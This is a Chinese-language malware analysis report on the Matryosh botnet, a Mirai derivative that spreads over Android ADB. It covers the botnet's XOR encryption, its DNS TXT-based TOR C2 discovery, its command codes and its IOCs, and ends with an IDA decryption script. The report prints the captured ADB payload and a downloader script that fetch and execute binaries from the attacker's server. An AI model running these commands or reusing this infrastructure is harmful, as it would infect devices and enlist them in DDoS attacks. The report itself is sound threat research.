新威胁：能云端化配置C2的套娃（Matryosh）僵尸网络正在传播

版权


版权声明：本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。



背景


2021年1月25日，360网络安全研究院的BotMon系统将一个可疑的ELF文件标注成Mirai，但网络流量却不符合Mirai的特征。这个异常引起了我们的注意，经分析，我们确定这是一个复用了Mirai框架，通过ADB接口传播，针对安卓类设备，主要目的为DDoS攻击的新型僵尸网络。它重新设计了加密算法，通过DNS TXT的方式从远程主机获取TOR C2以及和C2通信所必须的TOR代理。


这个僵尸网络实现的加密算法以及获取C2的过程都是一层层嵌套，像俄罗斯套娃一样，基于这个原因，我们将它命名为Matryosh。


每天都有脚本小子拿着Mirai的源码进行魔改，想着从DDoS黑产赚上一笔。Matryosh会是这样的作品吗？随着分析的深入，更多细节浮出水面，根据C2指令的相似性，我们推测它是当下非常活跃的Moobot团伙的又一个尝试。


Matryosh没有集成扫描，漏洞利用的模块，主要功能为DDoS攻击，支持 tcpraw, icmpecho, udpplain 3种方法，基本流程如下图所示：




传播


目前Matryosh通过adb传播，捕获的payload如下所示，主要功能为从远程主机199.19.226.25下载并执行脚本。


CNXN............M
..¼±§±host::features=cmd,shell_v2OPENX...........iQ..°¯º±shell:cd /data/local/tmp/; rm -rf wget bwget curl bcurl; wget http://199.19.226.25/wget; sh wget; busybox wget http://199.19.226.25/bwget; sh bwget; curl http://199.19.226.25/curl > curl; sh curl; busybox curl http://199.19.226.25/bcurl > bcurl; sh bcurl.sh.



下载得到的脚本如下所示，主要功能为从远程主机下载执行多个CPU架构的Matryosh样本。


#!/bin/sh

n="i586 mips mipsel armv5l armv7l"
http_server="199.19.226.25"

for a in $n
do
    curl http://$http_server/nXejnFjen/$a > asFxgte
    chmod 777 asFxgte
    ./asFxgte android
done

for a in $n
do
    rm $a
done





样本分析


Matryosh支持x86，arm，mips等cpu架构，本文选取x86样本为分析对象，样本信息如下：





MD5:c96e333af964649bbc0060f436c64758


ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped


Lib:uclibc


Packer:None



样本功能比较简单，运行后会重命名进程，并输出stdin: pipe failed字串以迷惑用户；随后解密得到远程主机名，用到DNS TXT请求以获取TOR C2以及TOR代理；接着和TOR代理建立连接，最终通过代理和TOR C2进行通信，等待执行C2下发的指令。



解密敏感资源


打开IDA可以看出，Matryosh将敏感的资源信息都加密存储，以防止相关功能被安全研究员一眼定位。





密文为1个header和N个body组成，结构如下所示：


struct header {
 	u8 msg_len;
 	u8 key;
 	u8 body_cnt;
 }
 struct body {
 	u8 key;
 	u8 body_len;
 	char *body_buf;
 }



以密文06 29 02 DC 10 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5 FB 06 D2 11 04 00 00 00为例，解密过程如下所示：


header.msglen=0x06	--->有效密文长底为6
header.key=0x29
header.body_cnt=0x2	--->有2个body

body1.key=0xdc		
body1.len=0x10		--->body1长度为0x10字节

body1解密
header.key XOR body1.key得到body1的秘钥为0xF5
密文： 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5
解密后：74 63 70 72 61 77 00 25 73 20 25 64 0d 0a 00 00  |tcpraw.%s %d....|

body2.key=0xfb
body2.len=0x6		--->body2长度为0x6字节
body2解密
header.key xor body2.key得到body2的密钥为
密文：D2 11 04 00 00 00
解密后： 00 c3 d6 d2 d2 d2                                |.ÃÖÒÒÒ|


有效密文长度为6字节，所以就取body1的前6字节即可，得到明文tcpraw。



通过附录的解密脚本，解密出的资源列表如下，可以看出其中有攻击方法，远程主机等信息。





tcpraw
icmpecho
udpplain




/proc/
/cmdline
stdin: pipe failed


hosts.hiddenservice.xyz
.hiddenservice.xyz
onion.hiddenservice.xyz






进程重命名


重命名成大小写相间的长度为14的进程名以迷惑用户





实际效果如下图所示：






获取TOR代理以及TOR C2


Bot获取代理以及C2的过程可以分成4步。


 1. 
    
    
    解密得到远程主机A(hosts.hiddenservice.xyz)，得到其DNS TXT解析结果：
    
    
    
    
    
    hosts.hiddenservice.xyz. 1751	IN	TXT	"iekfgakxorbfjcefbiyj"
    
    

 2. 
    
    
    解密得到远程主机后缀(.hiddenservice.xyz)，然后按下面表格中的组合规则从第一步获取的字串(iekfgakxorbfjcefbiyj)中提取字符，以下表中的第一行(14,9)为例，提取字串中下标为14和9的字符，合并得到一个远程主机前缀er。
    
    
    
    
    
    Index
    Value
    
    
    
    
    14,9
    er
    
    
    19,10
    jb
    
    
    3,4
    fg
    
    
    6,2
    kk
    
    
    8,13
    oc
    
    
    12,18
    jy
    
    
    11,1
    fe
    
    
    7,15
    xf
    
    
    5,17
    ai
    
    
    16,0
    bi
    
    
    
    
    
    最终把上面获取的远程主机的前缀和后缀拼接得到远程主机B列表，如下所示
    
    
    
    
    
    jb.hiddenservice.xyz
    er.hiddenservice.xyz
    
    
    
    
    fg.hiddenservice.xyz
    kk.hiddenservice.xyz
    
    
    oc.hiddenservice.xyz
    jy.hiddenservice.xyz
    
    
    fe.hiddenservice.xyz
    xf.hiddenservice.xyz
    
    
    ai.hiddenservice.xyz
    bi.hiddenservice.xyz
    
    
    
    
    
    下图实际的网络流量，验证了我们的分析。
    
    
    
    

 3. 
    
    
    向第2步得到的远程主机B请求的DNS TXT记录，得到TOR代理的地址，最多10个。
    
    
    
    
    
    oc.hiddenservice.xyz.	1799	IN	TXT	"198.245.53.58:9095"
    fe.hiddenservice.xyz.	1799	IN	TXT	"198.27.82.186:9050"
    
    

 4. 
    
    
    解密得到远程主机C（onion.hiddenservice.xyz），向其请求DNS TXT记录，得到TOR C2地址。
    
    
    
    
    
    onion.hiddenservice.xyz. 1799	IN	TXT	"4qhemgahbjg4j6pt.onion"
    
    


至此C2通信所需要的基础信息都已获得，Bot开始C2通信。



C2通信


和C2通信，Bot首先通过以下代码片段，随机选择一个TOR代理并建立连接，





随后向TOR代理发送想要建立通信的TOR C2，PORT信息，其中端口为硬编码的31337。





如果TOR代理返回05 00 00 01 00 00 00 00 00 00时，说明C2连接已经成功，可以开始后续通信了。下图实际的网络流量可以很清楚的反映上述过程。





发送完上线包后Bot开始等待C2下发指令。指令包的第一个字节指定了指令的类型。


 * 
   
   
   指令码：0x84表示心跳
   
   
   
   

 * 
   
   
   指令码：0x55表示上传Bot的分组信息
   
   
   
   

 * 
   
   
   指令码：非0x55，非0x84，DDoS攻击
   
   
   
   



和Moobot团伙的关系


Moobot团伙是当前比较活跃黑产团伙，一直在加密算法，网络通信方面进行创新。我们曾在2020年4月27日曝光过该团伙新开发的一个僵尸网络LeetHozer，对比Matryosh，俩者的相似之处体现在以下3方面：


 1. 
    
    
    使用TOR C2这种模式
    

 2. 
    
    
    C2端口（31337）&攻击方法名一样
    

 3. 
    
    
    C2指令格式高度相似
    


基于这些考量，我们推测Matryosh是该团伙的新作品。



结论


Matryosh的加密设计有一定的新意，但依然落入了Mirai单字节XOR的窠臼，这也是它很容易被杀软标记为Mirai的原因；网络通信层面的创新说明了其作者想实现一个从云端下发配置的机制以保护C2，C2配置云端化在一定程度上对抗了静态或简单模拟器的IOC自动化抽取。但将所有远程主机放在同一个SLD下的行为略显可笑，不过不可否认整体的网络设计非常灵活，若搭配上DOH/DOT机制，再将云端主机的角色/内容做合理地分配&加密将会给安全研究人员带来更多的挑战。



IOC


Sample MD5


ELF
6d8a8772360034d811afd74721dbb261
9e0734f658908139e99273f91871bdf6
c96e333af964649bbc0060f436c64758
e763fab020b7ad3e46a7d1d18cb85f66

SCRIPT
594f40a39e4f8f5324b3e198210ac7db
1151cd05ee4d8e8c3266b888a9aea0f8
93530c1b942293c0d5d6936820c6f6df
b9d166b8e9972204ac0bbffda3f8eec6



URL


kk.hiddenservice.xyz	
er.hiddenservice.xyz	
jy.hiddenservice.xyz	
fe.hiddenservice.xyz	
xf.hiddenservice.xyz	
oc.hiddenservice.xyz	
jb.hiddenservice.xyz	
ai.hiddenservice.xyz	
bi.hiddenservice.xyz	
fg.hiddenservice.xyz

hosts.hiddenservice.xyz	
onion.hiddenservice.xyz	



C2


4qhemgahbjg4j6pt.onion：31337



Proxy Ip


46.105.34.51:999
139.99.239.154:9095
139.99.134.95:9095
198.27.82.186:9050
188.165.233.121:9151
198.245.53.58:9095
51.83.186.134:9095
139.99.45.195:9050
51.195.91.193:9095
147.135.208.13:9095



Downloader


i586 mips mipsel armv5l armv7l
hxxp://199.19.226.25/nXejnFjen/{CPU ARCH}





附录（IDA解密脚本）


import idc
import idaapi
import idautils


# c96e333af964649bbc0060f436c64758
def find_function_arg(addr):
    round = 0
    while round < 2:
        addr = idc.PrevHead(addr)
        if GetMnem(addr) == "mov" and "offset" in GetOpnd(addr, 1):
            return GetOperandValue(addr, 1)
        if GetMnem(addr) == "push" and "offset" in GetOpnd(addr, 0):
            return GetOperandValue(addr, 0)
        round += 1

    return 0


def get_string(addr):
    out = []
    while True:
        if Byte(addr) != 0:
            out.append(Byte(addr))
        else:
            break
        addr += 1
    return out


def descrypt(enc_lst):
    msg_length = enc_lst[0]
    xor_key1 = enc_lst[1]
    group = enc_lst[2]

    msg_lst = enc_lst[3:]
    des_msg = []
    for i in range(0, group):
        xor_key2 = msg_lst[0]
        group_len = msg_lst[1]
        key = xor_key1 ^ xor_key2
        for j in range(2, group_len + 2):
            des_msg.append(chr(msg_lst[j] ^ key))
        if len(des_msg) > msg_length:
            des_msg = des_msg[0:msg_length]
            break
        msg_lst = msg_lst[group_len + 2:]
    print("".join(des_msg))


descrypt_func_ea = 0x080493E0

refsto_lst = []
for ref in CodeRefsTo(descrypt_func_ea, 1):
    refsto_lst.append(ref)

ens_str_addr = []
for ea in refsto_lst:
    addr = find_function_arg(ea)
    if addr != 0:
        ens_str_addr.append(addr)
        # print(hex(addr))
    else:
        print("Missed arg at {}".format(ea))

for ea in ens_str_addr:
    ret = get_string(ea)
    descrypt(ret)